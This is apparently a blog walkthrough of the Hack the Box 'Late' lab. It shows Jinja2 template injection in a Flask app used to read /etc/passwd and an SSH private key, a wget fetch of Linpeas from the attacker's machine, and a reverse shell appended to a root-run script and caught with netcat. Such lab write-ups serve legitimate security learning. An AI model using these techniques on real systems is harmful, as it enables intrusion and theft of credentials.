HTB — Late Walkthrough

I just finished this box on Hack the Box (HTB) and wanted to document my steps in rooting the box and my complete enumeration process. I like these challenges because they’re similar to black box Penetration testing.

Step 1 — Port Scanning / Reconnaissance

First, we do a port scan to see which ports are open. I see that ports 22 (SSH) and 80 (HTTP) are open. Instead of NMAP, I’m using Rustscan, a free port scanning tool I found on Github.

SSH is hard to enumerate without credentials, so let’s head over to the website. Before doing that, start running Gobuster passively in the background to fuzz the website while we have a look around.

The website looks like an image editing tool. Let’s scroll down a bit and see what we can learn.

Let’s click the hotlink, “late free online photo editor.”

We can’t see it because the URL, images.late.htb, is a subdomain. To make it visible, we need to add its IP address,, to the host’s file in /etc/hosts. Because we added this IP address as a known host, we can now visit the page. I have also added late.htb for good measure.

Okay added.

Step 2 — SSTI Injection / Understanding The Application

We can now access the page and the image-to-text application. Let’s test it by seeing what happens when we upload an image to the converter.

Above is a test I created using, and below are the results.

The engine outputs in HTML paragraph form. However, we need to think about how to manipulate this best. I searched for Flask vulnerabilities, and it led me to this article.

You can use python within HTML when dealing with the Flask application. Let’s use the test as demonstrated on the Hack Tricks Blog. They use {{7*7}} in the example, but I chose something different.

The above image is what I sent to the Flask application, and below is what it outputted.

This part was a bit tricky. I found this medium article that helps you understand what’s happening.

Jinja2 is the one we want to focus on, specifically Example 2. We inject

{{ ‘’.__class__.__mro__[2].__subclasses__() }}

into the application, dumping the python environment subclasses. Once we have the results (via the results.txt), we look for a subprocess.Popen. The popen sub-process, 249, is our exploit target. For more context, refer to the medium article referenced above.

Let’s change “2” to 1 and “40” to 249. Then, add a cat command to read the passwd file and pull the user list.

After a lot of tinkering, we’ve devised the above command. This provides access to the passwd file containing all of the web server’s users.

*This .txt file had a lot of /n’s and was formatted oddly. To clean up the file, delete the /n’s and hit return where you see them. /n simply indicates where a new line starts.

We see many users with no login access. However, in line 28, an account with login access appears, svc_acc. So let’s see if the svc_acc uses a private key to SSH-in.

Let’s modify our code injection to read the SSH id_rsa file.

*This also had a lot of /n’s, just hit return where you see it and it’ll come out like this.

Add this to your private key and SSH in. If you run into trouble, make sure you chmod 600 to your key file, or you will get the “unprotected key file” error.

Step 3— SSH Login / User Flag

We’re in! Let’s footprint the environment.

The first flag is in User.txt, which I will not be showing you :)

Step 4— Privilege Escalation

Let's start up a local server so we can get Linpeas onto it and run it to see if we can find some vulnerabilities which will allow us to get root privileges.

You can download the most updated version of Linpeas below.

Once you are in the folder where the script is located on your own machine, run the following command to start the HTTP server.

In your other window, the web server svc_account run,

wget http://yourmachineip/

This pulls Linpeas from your machine and uploads it to the remote

I did an ls to verify that the script is on the remote machine. However, we must now make it executable. Run chmod +x, then do an ls to confirm it’s green and executable. Finally, execute bash

Linpeas is a nifty tool. When it highlights a string in yellow, this indicates a 95% probability of a privilege escalation vector. So, upon running through the analysis, I saw a reference to a path in/usr/local/sbin. Let’s head there.

Upon entering, we only find one thing: After running a cat on it, we find that whenever someone SSHs into the web server, this script sends an email to root@late.htb. We can’t write directly to this script, so this is a dead-end. We must find another way of inserting our reverse shell command into the alert.

Let’s try to append the command using the cat function. First, we use touch to create a .txt file. Nano can then insert the reverse shell code into the file. Verify the code is saved using cat. Cat also allows you to append the command to the script. Finally, using cat, we confirm the command is added to the end of the script.

We’re getting close, now. Let’s fire up netcat listener and SSH into the webserver, triggering the script. In a separate terminal, run the command nc -lvnp 9999.

Now, SSH into the webserver in another terminal window.

Upon SSHing into the svc_acc, we find it’s hanging. This is due to the command we added to the alert’s end. Below, you can see the alert has sent out a connection to our listener, which accepted the connection. All that’s left is to cd into the root, and then the flag is there.

I hope you enjoyed my tutorial :)



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store